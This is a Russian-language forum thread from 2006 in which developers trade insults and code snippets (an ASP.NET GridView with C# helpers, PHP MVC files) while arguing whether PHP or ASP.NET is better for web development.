2 Злой "А я разве говорил, что в чем то проблема? Тут просто товарисщ Чкалоффф (кстати, куда он пропал то?), утверждает, что дот нет это предел совершенства," Ну придела совершенство не сужествует, но у PHP нет НЕ ЕДИНОГО ПРЕИМУЩЕСТВА ПЕРЕД ASP.Net, аргументы финансового(хостинг на 10$ дешевле) и религиозного(OpenSource rulez) характера оставь при себе "а я вот в приведенном коде ничего особенного не увидел." Ну например я абсолютно ничего не зделал ради безопасности, а код безопасен. Зделано это было бысрей чем набран текст поста. И чего "особенного" ты ожидал от такой тупой задачи. "И еще, все-таки хочу посмотреть на пример без CSS, пускай например значение цены меньше 100-а баксов будет выглядет так ...<td><font color="red"> 99$ </font></td>... " Легко <asp:GridView ID="GridView1" runat="server" AllowPaging="True" AllowSorting="True" AutoGenerateColumns="False" DataKeyNames="id" DataSourceID="SqlDataSource1"> <Columns> <asp:BoundField DataField="name" HeaderText="Name" SortExpression="bestell_num" /> <asp:TemplateField HeaderText="Price" SortExpression="price"> <ItemTemplate> <asp:Literal ID="Literal1" runat="server" Text='<%#FormatPrice(Eval("price")) %>'></asp:Literal> </ItemTemplate> </asp:TemplateField> </Columns> </asp:GridView> public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected string FormatPrice(object p) { decimal Price = (decimal)p; if (Price < 100) return String.Format("<font color=\"red\"> {0:c}</font>", Price); else return String.Format("{0:c}", Price); } } А теперь хочу увидеть PHP аналог(если не заметил я туда сортировку и падинг добавил) P.S. Уважаемая редакция на кой ... в постимге убираются отступы.
	Aspfan 20 Oct 2006 8:27 PM
"наверно ищет страшные косяки в пхпшных фреймворках ... " А что их искать, установи немезкую локацию в PHP4 и преобразуй "01.12.2000" в строку и вместо "Dezember" увидиш "December"
	SlvUn - slvunmail.ru 20 Oct 2006 10:23 PM
2Aspfan: Насколько я понял, с точки зрения товарища Chkaloff'a вот эта строчка return String.Format("<font color=\"red\"> {0:c}</font>", Price); абсолютна святотаственна и не имеет права на существование, ибо невооруженным глазом видна такая страшнейшая ересь как концептуальное НЕОТДЕЛЕНИЕ кода от HTML :)
	Linfan 20 Oct 2006 11:44 PM
Aspfan: "установи немезкую локацию в PHP4" 1.Дату релиза PHP4 в студию. 2.Для сравнения - дату выхода ASP.NET второго разливу 3.Напомните окружающим, какая текущая версия пыхпыха на дворе 4.Уточните, под какой из минорных версий PHP4 вы нашли такой косяк? 5.Загляните в хелп русського IE 6 и вы обнаружите там более веселую вещь - это чудо оказывается "кончает закладками". А затраты на локализацию гоВенды думаю нааамного больше, чем на вэсь LAMP в разработке. "у PHP нет НЕ ЕДИНОГО ПРЕИМУЩЕСТВА ПЕРЕД ASP.Net" Равно как и у АСПидоНЕТа перед пыхпыхом. Но это до тех пор, пока вам пофигу себестоимость вашей работы (то ли на варезе сидите, то ли фирма вам обеспечивает все) и пофигу затраты клиента при эксплуатации вашего поделия. Истинные джависты тоже часто заявляют, что всякими себестоимостями можно пренебречь, но когда речь заходит про оплату ИЗ СОБСТВЕННОГО КАРМАНА, причем ежемесячно, то и про перлуху ситуацию провентилируют и тикль вспомят - так что не надо ляля. Это в Москве можно поймать толстого и богатого лоха, с которого деньги драть можно. И то, есть вариант, что он узнает "шо-па-чем" и заявится к вам с массажем копчика :))
	crimaniak 21 Oct 2006 12:43 AM
Обычная рекламная статейка, лживая уже начиная с названия, так как никакого сравнения в статье и близко нет.
	Aspfan 21 Oct 2006 2:34 PM
2 SlvUn "Насколько я понял, с точки зрения товарища Chkaloff'a вот эта строчка return String.Format("<font color=\"red\"> {0:c}</font>", Price); абсолютна святотаственна и не имеет права на существование, ибо невооруженным глазом видна такая страшнейшая ересь как концептуальное НЕОТДЕЛЕНИЕ кода от HTML :)" Впринципи он прав, но не исчего не надо делать священных коров. И еще ИДЕОТСКИЕ требования "не хочу стили хочу <font color="red">" порождают соответствующие решения, Особенно если они делаются на скорую руку. А вобже лудше использовать MultiView. 2 Linfan "1.Дату релиза PHP4 в студию. 2.Для сравнения - дату выхода ASP.NET второго разливу" Зачем ??? "3.Напомните окружающим, какая текущая версия пыхпыха на дворе " Плевать. "4.Уточните, под какой из минорных версий PHP4 вы нашли такой косяк? " Вероятно ВСЕ, проверино на релизах всроенных в SuSe9 и SuSe10, а также на том что используется на strato.de "5.Загляните в хелп русського IE 6 и вы обнаружите там более веселую вещь - это чудо оказывается "кончает закладками". " Причем тут IE "А затраты на локализацию гоВенды думаю нааамного больше, чем на вэсь LAMP в разработке. " Что такое "гоВенды", если я годая на кофейной гущи правильно понял что в локализацию .Net вложили больше денег чем в разработку Линукса Апачи и ПХП вместе взятых то мне на это глобоко плевать, и что ты этим вобже сказать хотел. "Но это до тех пор, пока вам пофигу себестоимость вашей работы (то ли на варезе сидите, то ли фирма вам обеспечивает все) и пофигу затраты клиента при эксплуатации вашего поделия. Истинные джависты тоже часто заявляют, что всякими себестоимостями можно пренебречь, но когда речь заходит про оплату ИЗ СОБСТВЕННОГО КАРМАНА, причем ежемесячно, то и про перлуху ситуацию провентилируют и тикль вспомят - так что не надо ляля. Это в Москве можно поймать толстого и богатого лоха, с которого деньги драть можно. И то, есть вариант, что он узнает "шо-па-чем" и заявится к вам с массажем копчика :))" Намикаеш на несчастные 10$(разница стоимости хостинга), ну так любая фирма на кофе тратит намного больше. Или хочеш скозать что куча PHP недопрограмистов готовых работать за еду, Ну дак они тебе натворят, мало не покажется.
	Aspfan 21 Oct 2006 2:36 PM
<asp:GridView ID="GridView1" runat="server" AllowPaging="True" AllowSorting="True" AutoGenerateColumns="False" DataKeyNames="id" DataSourceID="SqlDataSource1"> <Columns> <asp:BoundField DataField="id" HeaderText="id" InsertVisible="False" ReadOnly="True" SortExpression="id" /> <asp:BoundField DataField="name" HeaderText="name" SortExpression="name" /> <asp:TemplateField HeaderText="preis" SortExpression="preis"> <ItemTemplate> <asp:MultiView ID="MultiView1" runat="server" ActiveViewIndex='<%# SelectViewIndex(Eval("preis")) %>'> <asp:View ID="View1" runat="server"> <asp:Label ID="Label1" runat="server" Text='<%# Eval("preis", "{0:C}") %>'></asp:Label> </asp:View> <asp:View ID="View2" runat="server"> <font color="red"><asp:Label ID="Label2" runat="server" Text='<%# Eval("preis", "{0:C}") %>'></asp:Label></font> </asp:View> </asp:MultiView> </ItemTemplate> </asp:TemplateField> </Columns> </asp:GridView> protected int SelectViewIndex(object p) { decimal Price = (decimal)p; if (Price < 2) return 1; else return 0; }
	Linfan 21 Oct 2006 6:19 PM
2Aspfan: "Вероятно ВСЕ, проверино на релизах всроенных в SuSe9 и SuSe10, а также на том что используется на strato.de " Специально выкроил время, чтобы разобраться с вашим "МЕГАБАГОМ" на "ВСЕХ версиях PHP". Как и ожидалось - баг в ДНК дотнетчика ;) Вы мосье просто немецкую локаль не установили. И не для ПХП а для системы. ПХП - это часть никса, а не все в одном флаконе. И работает эта фича еще с PHP3 - если память не подводит с 1997 г. Так что заходите сюда: http://ua2.php.net/setlocale и читайте доку до зеленых веников. "1.Дату релиза PHP4 в студию. 2.Для сравнения - дату выхода ASP.NET второго разливу" Зачем ???" А затем, что 1998 г. и 2005 г. это немного разные годы и поэтому продукты немного различаются. А на дворе есть уже и PHP6. "Плевать." - вас в детстве не учили разве, что плевать против ветра - не есть хорошо? "Причем тут IE " - при том, что ошибки в локализации, вещь достаточно характерная и для вашего божества ;) "Намикаеш на несчастные 10$" - я намекаю на то, что вы мосье, как пользовались варезом, так и продолжаете его юзать, абсолютно не думая про софт, как затратную часть своего бюджета. А разница в 10$ - это минимальная ежемесячная разница только на хостинге. А за саппорт платить надо или вы выпускаете исключительно сайты типа "Фирме "xxx" от скорбящих заказчиков - R.I.P."? А если фирме содержать своего "карманного" спеца - то платить по полной за софт. Либо делать это косвенно, оплачивая услуги сторонней конторы. И еще раз подчеркиваю - в Инете тучная туча бесплатных общественных проектов, не только софтовых. Они тоже все должны переплачивать, в итоге ни за хрен собачий отдавая деньги МСу? Много напр. блогов на дотьнете? === Хотя шо взять с дотьнетчика? Оно же ДИТЯ ПОРОКА ;-)
	Aspfan 21 Oct 2006 9:04 PM
2 Linfan "Вы мосье просто немецкую локаль не установили. И не для ПХП а для системы." Шаман однако. Я конечно не написал, что SuSe(9,10) были немецкие и что проблем с другими месяцами небыло. Но вот как ты себе предстовлял чтобы на серве strato.DE не было установленно немецкой локации. "А затем, что 1998 г. и 2005 г. это немного разные годы и поэтому продукты немного различаются. А на дворе есть уже и PHP6." Правдо, а на php.net только PHP5. Но что 4, что 5 и вероятно будущий 6 релиз это уровень старого ASP и ASP.Netу в подметки не годятся. "я намекаю на то, что вы мосье, как пользовались варезом, так и продолжаете его юзать, абсолютно не думая про софт, как затратную часть своего бюджета." варез - это типа пиратские копии, если так: Дома конечно. А что косается работы, то стоимость ПО есть величина бесконечно малая посравненою с зарплатой сотрудников, так что затраты быстро себя окупают за счет значитильного повышение скорости разработки. "А разница в 10$ - это минимальная ежемесячная разница только на хостинге. А за саппорт платить надо" А сопровождение PHP проэктов получают бесплатно? "И еще раз подчеркиваю - в Инете тучная туча бесплатных общественных проектов, не только софтовых. Они тоже все должны переплачивать, в итоге ни за хрен собачий отдавая деньги МСу?" А зачем Васи Пупкину PHP, он его все равно не знает, так что пускай ваяет статическии страницы, и хостит их на бесплатно.
	SlvUn - slvunmail.ru 21 Oct 2006 10:05 PM
2Aspfan: Вы здесь, похоже, недавно, так я вас просвещу немного. Тут год-полтора назад, на радость всем здесь присутствующим, в свое время схлестнулись PTO и Linfan на тему того, на чем проще и быстрее писать небольшие веб-приложения. В качестве примера был выбран словарь. Так вот, после утверждения техзадания, сроков и прочего, соревнование началось. Linfan проект закончил и предоставил на суд публики. Со стороны же РТО метавшего громы и молнии и хвастающего тем, что ему вообще ни одной строчки кода писать не придется, никто ничего не увидел. Вначале он ссылался на занятость на работе. Потом, он очень долго не мог сделать эту программу, затем сделал, но не поверите - _не смог_ найти хостинг на .NET, вообще не мог ни на 10 баксов дороже, ни на 100. Не было просто хостинга такого. В итоге PTO просто пропал с этого форума, после чего все стали тыкать в Linfana пальцами с криком «Боже мой, он убил Кенни!!!»:)). В итоге выяснилось что PTO свалился в больницу с почками ( видите как опасно программирование на .NET :), ну и конкурс прекратили. Так что подытоживаю скажу, что решение на Linuxe+PHP видели все и исходники и результат работы, я лично долгое время этот словарик юзал, пока Linfan его с исключительным цинизмом не прикрыл :))). А вот со стороны Windows+.NET противник в ринг не явился. Так вот, к чему я веду. Сейчас тут подтянулась свежая кровь в Вашем лице плюс еще и Chkaloff. Так может вы подхватите падающее знамя ДотНЕТА? И накропаете это приложение? А то честное слово, до сих пор любопытно, сколько кода надо на Вин для этого написать и какое кол-во времени это займет. Т.к. у Linfan’a все готово, то по срокам вас никто поджимать не будет. Найти хостинг – я так понял сейчас не проблема. А ? Что скажете на это?
	SlvUn - slvunmail.ru 21 Oct 2006 10:07 PM
2Linfan: Я тут это немного без спроса опять Вас косвенно пристегнул, но чесстное слово остался с того раза некий неприятный осадок незавершенности :)))
	Linfan 21 Oct 2006 11:08 PM
SlvUn: "пока Linfan его с исключительным цинизмом не прикрыл :)))." угу, эта хрень трафик высасывала, как пылесос. Для коммерческого хостинга вещь довольно неприятная. Тем более, что по условиям необходимо было регулярки использовать и трудясчиеся ими активно пользовались судя по всему (запрос типа "^s*" метров 50 вываливал за раз).
	Linfan 21 Oct 2006 11:56 PM
2Aspfan: "А сопровождение PHP проэктов получают бесплатно?" Значительно дешевле, чем дотьнет. Значительная часть работы при создании сайта - дизайн. Работы "Атилект"а тому самое красочное подтверждение. Не знаю как у вас, а у нас большинство дизайнеров помимо фотожопа/гимпа, прекрасно владеют и хтмл и пыхпыхом. Т.е. для саппорта сайта с несложными дополнениями - одного человека более чем. А вот на дотьнете, минимум двух надо. Плюс саппорт PHP сайта нормально и естественно можно делать из-под Линуха. Т.е. весь софт на шару. "А зачем Васи Пупкину PHP, он его все равно не знает?" Действительно, зачем inkscape.org или www.scribus.net на пыхпыхе набоянили? Ведь они "пупкины", дотнет не осилили... Писали бы на хтмле :) А что касается локали - вы уверены, что в консоли Suse декабрь неправильно переведен? Это персональный геммор Сюзи, а не PHP - локаль то берется от системы... На Мандриве таких траблов нет. Прверять ваши утверждения влом, ибо под рукой этого дистра нет... Хотя... О! на работе гляну... если конечно там на серваче стоит нэмецька локаль.
	xacid 22 Oct 2006 1:43 PM
тоже самое но на пыхпыхе <? class Prices_model extends Model { function Prices_model() { parent::Model(); } function table() { return 'prices'; } function get_prices( ) { $this->db->where('hidden IS '); $this->db->join('items', 'items.item_id = prices.item_id'); $query = $this->db->get( $this->table() ); return $query->result(); } } ?>
	xacid 22 Oct 2006 1:43 PM
<?php class Prices extends Controller { var $view = 'prices'; function Prices() { parent::Controller(); $this->load->model('Prices_model'); } function index() { $data['prices'] = $this->Prices_model->get_prices(); $this->load->view( $this->view, $data ); } } ?>
	xacid 22 Oct 2006 1:44 PM
<? if(is_array($prices)) { ?> <h1>Prices</h1> <table> <tr> <th>Item ID</th> <th>Item Name</th> <th>Price</th> </tr> <? foreach( $prices as $price ){ ?> <tr> <td><?= $price->item_id ?></td> <td><?= $price->item_name ?></td> <td> <? $red=$price->item_price < 100 if($red){ ?><font color="red"><?}?> <?= $price->item_price ?> <? if($red) { ?></font><? } ?> </td> </tr> <?}?> </table> <?}?>
	xacid 22 Oct 2006 1:50 PM
разные посты - это разные файлы соотвественно - модель, контроллер и вид (в порядке поста) ну и где тут "неотделенность кода от дизайна"? при желании это можно довести до любого требуемого функционала - вынести цвет в модель, логику из контроллера в отдельную функцию и реюзать из разных контроллеров и так делее и тому подобное до бесконечности. я не утверждаю что пхп предел совершенства, но при грамотном подходе и в пхп есть вполне удобные средства. понятно что доднет по своему хорош для тех задач для которых он был создан. но это не значит что все остальное теперь вдруг стало сразу непригодно и все такое прочее... доднет тоже совсем не на пустом месте появился. и не обладает некоторыми достаточно важными свойствами - в первую очередь кроссплатформенностью. по крайней мере пока что. о моно я знаю, но согласитесь это еще не тот доднет о котором вы сейчас тут так воссторженно рассказываете. попробуйте на моно сделать все тоже самое что на визуал студии. имхо.
	xacid 22 Oct 2006 1:53 PM
<?php class Prices extends Controller { var $view = 'prices'; function Prices() { parent::Controller(); $this->load->model('Prices_model'); } function index() { $data['prices'] = $this->Prices_model->get_prices(); $data['price_color'] = "red"; $this->load->view( $this->view, $data ); } } ?>
	xacid 22 Oct 2006 1:53 PM
<? $colored=$price->item_price < 100 if($colored){ ?><font color="<?=$price_color?>"><?}?> <?= $price->item_price ?> <? if($red) { ?></font><? } ?> </td>
	xacid 22 Oct 2006 1:55 PM
вот все что нужно сделать чтобы вынести цвет из вида в контроллер. в контроллере само собой он тоже не обязан быть захардкоджен - его там можно вытянуть из конфига приложения или еще откуда хватит фантазии...
	xacid 22 Oct 2006 1:56 PM
сорри там очепятки вкрались в виде) но идея думаю понятна. и это все реально работает. на пыхпыхе.
	VicTor 22 Oct 2006 6:19 PM
2 SlvUn: > ... _не смог_ найти хостинг на .NET, вообще не мог ни на 10 баксов дороже, ни на 100. Не было просто хостинга такого. Не хочу сказать ничего плохого про РТО (дай, Бог, ему здоровья), но у меня сложилось впечатление, что он даже и не начинал делать этот словарь, ибо понял, что выдав результат на публичное растерзание, он нарушит условия лицензионного соглашения M$, а хостеры сами не пойдут на нарушения лицензии и никакого хостинга ему не дадут. Поборникам .NET хочу напомнить, что лицензия включает в себя пункт (нумерация пунктов взята из лицензии на VS .Net Pro 2003, для других продуктов нумерация может быть другой): "3.4. Испытание производительности. Данное Программное обеспечение может содержать компонент Microsoft .NET Framework. Запрещается разглашать результаты испытаний производительности компонента .NET Framework Программного обеспечения третьим лицам без письменного разрешения корпорации Майкрософт." Это практически исключает возможность публикации результатов тестирования не только продуктов от самого M$, но и производных от них, что декларируется пунктом: "3.1. Общие условия распространения. (a) Распространяя Образец кода или Вторично распространяемый код (вместе – «Вторично распространяемые компоненты») в соответствии с разделом 2, вы обязуетесь соблюдать следующие условия:... (iii) Программное обеспечение лицензиата, включающее Вторично распространяемые компоненты, может распространяться за пределами помещений или организации лицензиата только на условиях лицензионного соглашения с конечным пользователем (которое может быть заключено путем вскрытия упаковки, в электронном виде или путем подписания ), условия которого должны обеспечивать не меньшую степень защиты, чем условия данного Лицензионного соглашения с конечным пользователем; ..." Поэтому употребляя публично слова "быстрее", "производительнее", поборники .NET явно нарушают условия лицензирования. А употребляя оборот "ускоряет разработку" - нарушают косвенно :))) Или пусть предъявят письменное разрешение M$... :) > Так вот, к чему я веду. Сейчас тут подтянулась свежая кровь в Вашем лице плюс еще и Chkaloff. Так может вы подхватите падающее знамя ДотНЕТА? И накропаете это приложение? Ну уж не толкайте людей на преступление :)
	VicTor 22 Oct 2006 6:37 PM
Это я к тому, что "звиздеть - не мешки ворочать". ДотНет-любы могут тут до усрачки орать, доказывая преимущества .NET, но конкретных результатов от них не добьёшься. Ибо без тестов на производительность нет смысла проводить сравнение, а любой продукт на базе .NET использует .NET Framework
	Aspfan 22 Oct 2006 8:39 PM
2 xacid Черезвычайно короткий, а главное простой код. Предполагалось, что это будет чистый пхп, и что будет присутствовать возможноть сортировки и паддинга. 2 SlvUn "И накропаете это приложение?" А оно мне надо, я вот пятиминутную задачку предложил, Linfan проигнорировал. 2 Linfan "Действительно, зачем inkscape.org или www.scribus.net на пыхпыхе набоянили? Ведь они "пупкины", дотнет не осилили... Писали бы на хтмле :)" inkscape.org - ужас летящий на крыльях ночи, там даже обжего дизайна нету, и куча косяков в IE. Уж лудше бы они на статики все зделали. "Значительно дешевле, чем дотьнет. Значительная часть работы при создании сайта - дизайн. Работы "Атилект"а тому самое красочное подтверждение. Не знаю как у вас, а у нас большинство дизайнеров помимо фотожопа/гимпа, прекрасно владеют и хтмл и пыхпыхом." Ну и в асп тегах многие разбираются и работают с ними по принципу "руками не трогать" "Т.е. для саппорта сайта с несложными дополнениями - одного человека более чем. А вот на дотьнете, минимум двух надо." Ну для кода представленного xacid и троих мало. Во вторых на кой для асп два человека. "Плюс саппорт PHP сайта нормально и естественно можно делать из-под Линуха. Т.е. весь софт на шару" Тебя зациклило, я уже про стоимость ПО писал. 2 VicTor "ДотНет-любы могут тут до усрачки орать, доказывая преимущества .NET, но конкретных результатов от них не добьёшься. Ибо без тестов на производительность нет смысла проводить сравнение, а любой продукт на базе .NET использует .NET Framework" Зайди на rsdn.ru в форум священные войны там ктото провадил тесты. 2 VicTor & Linfan А вобще заканчивайте манагерскую ерунду, вут все вночали все орали про тот какя гадасть .Net и про рулизность PHP. А теперь переводите на стоимость и лицензии. Заплатите деньги специалисту и он нащитает столько сколько хотите, и прочтет любую лецензию так как вам надо.
	Linfan 22 Oct 2006 10:06 PM
"вут все вночали все орали про тот какя гадасть .Net и про рулизность PHP" 1.Посмотри на название и обнаружишь провокатора флейма. 2.Перечитай тред и вдумайся в содержание. Дотьнетчикам через раз вбивают в голову мысль что ".Net дело хорошее, но в случае средних и мелких задач PHP не хуже, а скорее даже лучше". Это так сказать для тех кто в "шаговом карьерном экскаваторе" 3.Ваять твою задачку не взялся, поскольку с дотнетом не сталкивался и интерпретировать твой код, исходя из common sense не берусь. В случае со словарем, ТЗ писался по-русски вне привязки к какому-либо средству программирования. 4.Чтобы ты не декларировал - на текущий момент Win платформа представлена скажем, не очень широко и доминантом не станет, скорее наоборот, есть шансы на потерю сегодняшних позиций. Посему педаля на пыхпыхе проект организация меньше рискует, чем на дотнете. Выйдет очередной релиз "рулеза" от MC и опять переписывать сложный проект? "я уже про стоимость ПО писал" твои доводы не аргумент в общем случае. В случае Антилекта - да, стоимость софта не имеет серьезного значения. А подход "дома варез - это норма", ну дык а зачем тогда уважать вашу коммерческую деятельность? "inkscape.org - ужас летящий на крыльях ночи, там даже обжего дизайна нету, и куча косяков в IE. Уж лудше бы они на статики все зделали." Мосье! Вы когда-нибудь видели линуксоида работающего на линухе и запускающего через wine ослика, чтобы зайти на inkscape.org? "Ну для кода представленного xacid и троих мало" ууу... да вы батенька ни с С\С++ ни с PHP ни с джавой не знакомы... Синтаксис то практически один и тот же... мдя... Дитя Порока одним словом ;)
	Linfan 22 Oct 2006 10:10 PM
я надеюсь, вы поняли, что про Винду имелось ввиду в хостинге, а не на десктопе.
	VicTor 22 Oct 2006 11:25 PM
2 Aspfan: > А вобще заканчивайте манагерскую ерунду, вут все вночали все орали про тот какя гадасть .Net и про рулизность PHP. А теперь переводите на стоимость и лицензии. Вы тред-то хоть с самого начала читали? Или "ниасилили"? Когда там про лицензии сказано-то было? > Заплатите деньги специалисту и он нащитает столько сколько хотите, и прочтет любую лецензию так как вам надо. О, святая наивность!!! "Если вы не интересуетесь политикой, то рано или поздно она заинтересуется вами" (c) не помню чей. Этот "специалист", конечно, насчитает столько, сколько вам надо, и про себя не забудет ("Всю жизнь мечтал быть консультантом, чтобы экономические последствия моих мудрых советов никак не влияли на моё всё возрастающее материальное благополучие" (c) не помню чей), и лицензию прочтёт вам так, как вы хотите (за определённую сумму, конечно). Только ребятки из буц-команды возьмут за жопу вас, а не его... Они-то лицензию читают так, как это надо M$ :)
	dr-Wicked 23 Oct 2006 12:27 AM
Да, запыхтели дотнет в Holy War'e Кстати каламбур SoftWare, HardWare, HolyWar(e)
	Aspfan 23 Oct 2006 2:30 AM
"1.Посмотри на название и обнаружишь провокатора флейма." Ну вот к примеру твои высказавания: "Вы че, не знаете, шо код на ПХП ваще не компилится и очень часто - это уже готовый HTML с небольшими внедрениями на ПХП? И разработка делается намного быстрее, чем ваяние классов дотьнетских или джавовских." "По причине выше описанной - готовый хтмл из пхп будет явно короче. Гляньте на контент этого сайта - в нем пробелов и отступов вагон - а их тоже знаете ли, прокачивать надо." "Кроме того - в ПХП вы контролируете каждый байт, а про дотнетчиков уже байки ходят - поменять какую либо финтифлюшку - километр кода написать в обход стандартной либы" "2.Перечитай тред и вдумайся в содержание. Дотьнетчикам через раз вбивают в голову мысль что ".Net дело хорошее, но в случае средних и мелких задач PHP не хуже, а скорее даже лучше". Это так сказать для тех кто в "шаговом карьерном экскаваторе"" Опять пальцом в небо попал если в случаи крупных проэктов рассуждения Java vs ASP.Net имеют смысл(так как там и там нужно много велосипедов предумовать) то в средних и мелких ASP.Net ни имеет конкурентов. ПХП в любом случаи в пролете. "3.Ваять твою задачку не взялся, поскольку с дотнетом не сталкивался и интерпретировать твой код, исходя из common sense не берусь. В случае со словарем, ТЗ писался по-русски вне привязки к какому-либо средству программирования" Код отображения таблицы(из БД) с пейжингом, сортировкой и возможностью вставки, редактирования и удалением записей превести не хочеш, опятьже про версионность не забываем. На asp это решается минут за пятнадцать, а на php? Это не по русски ? Если чего не понял то разжовавую и уточтаю: 1. Есть таблица t1 в БД с полями id(число присваевоемое автоматически и не доступно для редагтирования), p1, p2, p3(спроковые атрибуты) 2. Нужно отобразить таблицу с возможностью сортировки по любому полю, и пейжингом(разбивка одной таблицы на несколько, не более скажем 10 записей на страницы, думаю видел это милион раз) 3. Обеспечить возможность вставки, редактирование и удаление записей. 4. Поддерживать версионность. Тоесть если запись начали редактировать два пользователя то должна сохранитза запись того пользователа, который сохранил ее первым. "твои доводы не аргумент в общем случае. В случае Антилекта - да, стоимость софта не имеет серьезного значения. А подход "дома варез - это норма", ну дык а зачем тогда уважать вашу коммерческую деятельность?" Чего там оргументировать програмист минимум получает в европе 3000-4000 евро бруто в несяц, ПО(которое надо покупать раз в 3-4 года) максимум(беру с потолка) стоит 1000 евро. Тоесть стоимость ПО есть нечто посровнению с зарплатой. Это ПО ускаряет процес разроботки и экономит на зарплате, следовательно быстро окупается. На худой случай есть всевозможные Expres Edition, остатся только Win 150 евро. И какую если не секрет комерчискую деятелность я виду? "Мосье! Вы когда-нибудь видели линуксоида работающего на линухе и запускающего через wine ослика, чтобы зайти на inkscape.org?" А что в FireFox дизаин сайта на всех стрицах выглядит одинаково? "ууу... да вы батенька ни с С\С++ ни с PHP ни с джавой не знакомы... Синтаксис то практически один и тот же... мдя..." Да нет я с ООП возможностями ПХП(не говоря о Java и тем более о С++) я знаком. А C ты опять прогнал как с PHP6. Просто более убогой объектной модели я не видел, блин даже в TurboVision(была такая библиотека UI в страрых продуктах от Borland) подбная задача решается просче. $this->db->where('hidden IS '); $this->db->join('items', 'items.item_id = prices.item_id'); Итересно что эта хрень делает и зачем?
	SlvUn - slvunmail.ru 23 Oct 2006 2:33 AM
Еще раз аеречитывал сейчас трэды и наткнулся на Aspfan: "у PHP нет НЕ ЕДИНОГО ПРЕИМУЩЕСТВА ПЕРЕД ASP.Net" Ну что-же все понятно, теперь можно смело и практически безошибычно давать характеристику Aspfanу: - Школьник или студент 1-2го курса, который месяца два-три назад впервые бросил пару визуал-компонент, зашел с другого компьютера на этот IP увидел свое "Хелло ворлд" и просто ошалел от этого. В принцип это даже хорошо пылкость молодости, горящий взор, ручка контрастности восприятия мира - повернута до упора, нет еще взрослого расчета и цинизма в восприятие. Счастливое время черт побери!!! Сам таким был. :)) Но спорить с таким человеком невозможно, да и не нужно :)). 2Aspfan: Совет на будущее - старайтесь по возможности никогда не употреблять слова: все, ни какого, ни одного и т.п. Данные выражения опровергаются сразу и очень легко, так-же как и Ваше "у PHP нет НЕ ЕДИНОГО ПРЕИМУЩЕСТВА ПЕРЕД ASP.Net"
	dr-Wicked 23 Oct 2006 3:12 AM
Читал, много думал. Определённо до прошлогоднего 1К бреда недотягивает. Такая битва за газ бьіла…
	Nickolyan 23 Oct 2006 4:21 AM
>Что такое "гоВенды", если я годая на кофейной гущи правильно понял что в локализацию .Net вложили больше денег чем в разработку Линукса Апачи и ПХП вместе взятых то мне на это глобоко плевать, и что ты этим вобже сказать хотел. О! Реальные пацаны с бутика вернулись! ;)
	Linfan 23 Oct 2006 4:52 AM
2SlvUn: +1. присоединяюсь :) dr-Wicked: "Такая битва за газ бьіла…" Aspfan в одиночку газифицирует... Увы - не справляеццо :)) Прям хоть РТО разыскивай :)
	Alexander S. Kharitonov 23 Oct 2006 10:46 AM
2 Aspfan: > Код отображения таблицы(из БД) с пейжингом, сортировкой и возможностью вставки, редактирования и удалением записей превести не хочеш, опятьже про версионность не забываем. На asp это решается минут за пятнадцать, а на php? Кажется в своё время PTO упоминал о чём-то похожем. Я не специалист по PHP и не знаю, есть ли там готовые библиотеки для подобной задачи, но всё-таки это не является полноценным приложением, а тест должен быть комплексным (если в PHP быстрее делается одна частная задача, а в ASP другая - то что лучше? нужно сравнить так, чтобы затронуть множество особенностей и той, и другой платформы). Вот интересно, неужели словарь - это принципиально нерешаемая на ASP задача? Хотя возможно дело в другом: со стороны свободного софта в данной дискуссии выступают люди, которые реально его используют для практических задач, а со стороны несвободного - люди, которые его продвигают... Грубо говоря, программисты против маркетологов.
	Злой 23 Oct 2006 11:03 AM
2Aspfan И чего "особенного" ты ожидал от такой тупой задачи. ... И еще ИДЕОТСКИЕ требования "не хочу стили хочу <font color="red">" порождают соответствующие решения, ... === Мдяяя :)) Все что ты продемонстрировал, это свою непомерную тупость и идиотизм. Для тех кто в батискафе, под льдами Арктики, повторяю, чего собственно требовалось. Чкалоффф хая пыхпых, все упоминал про отделение HTML от кода, по его словам в дот нете это делается как-то круто, но как именно, он мистически умалчивал. Вот я и попросил написать простенький примерчик на дот нете со СВОИМ кастом тагом. Тут стоит отметить, что как дошло дело до дела :)) товарисч Чкалоффф свалили по примеру РТО :). Так вот, ты же, привел куеву тучу стандартных кастом тагов, да еще пытался схитрить с CSS, потом все таки втемяшил это - return String.Format("<font color=\"red\"> {0:c}</font>", Price); Что и требовалось доказать. О чем все это говорит, а о том, что ты писать своих кастом тагов не умеешь, читать внимательно задание и вникать в суть не умеешь, ты в состоянии только тупо тыкать мышкой в студии и думать пальцами. И если уж привел пример с MC-ими тагами, то покажи их исходники, а именно, то место, где они HTML генерят. По поводу сортировки и всякого там падинга, ну что за детский лепет, все это делается элементарно, вот список оракловых JSF компонентов - http://www.oracle.com/technology/products/jdev/htdocs/partne rs/addins/exchange/jsf/doc/tagdoc/core/imageIndex.html А вот апачевских - http://www.irian.at/myfaces.jsf, там сразу и исходниики посмотреть можно. Поизучай на досуге.
	Aspfan 23 Oct 2006 11:58 AM
Ответить ни чего толком не можете и начинаете переходить на личности, думаете это делает вас умнее. Теперь понятно почему ваш РТО не претсравил вам ни строчки. Есть желание поспорить, добро пожаловать на модерируемый форум rsdn.ru жду там появления ветки "PHP vs ASP.Net(перещнесенно с zdnet.ru)"
	Злой 23 Oct 2006 12:20 PM
2Aspfan Ну знаешь ли, уважаемый, это не я, не разобравшись, называл задачу "тупой", а требования "ИДИОТСКИМИ". Так что, чья бы корова мычала.
	Злой 23 Oct 2006 12:24 PM
Ответить ни чего толком не можете и начинаете переходить на личности == а чего это так, после тыков, на вы перешли?
	Aspfan 23 Oct 2006 12:39 PM
"Ну знаешь ли, уважаемый, это не я, не разобравшись, называл задачу "тупой", а требования "ИДИОТСКИМИ". Так что, чья бы корова мычала." Тупая задача - простая задача Идиотское требоване - требование не имеюсчие ни чего обжего с реаальными И никаких высказываний в сторону автора. "а чего это так, после тыков, на вы перешли?" Ну извините если Вам не нравится обращение та "ты", хотя в большенстве случаев оно и используется. В последним посте "вы" это множественное число.
	xacid 23 Oct 2006 12:57 PM
секундочку, уважаемый! вы явно передергиваете. о сортировках в условии задачи ничего не было - это вы на ходу придумали уже. изначально требовалось продемонстрировать отделение бизнес-логики от дизайна. что и было продемонстрировано на PHP-реализации MVC-фреймворка. а сделать компонент аналог доднетовского грида думаю в принципе можно. если будет нужно. но не гридом одним жива разработка приложений. имхо
	Злой 23 Oct 2006 1:36 PM
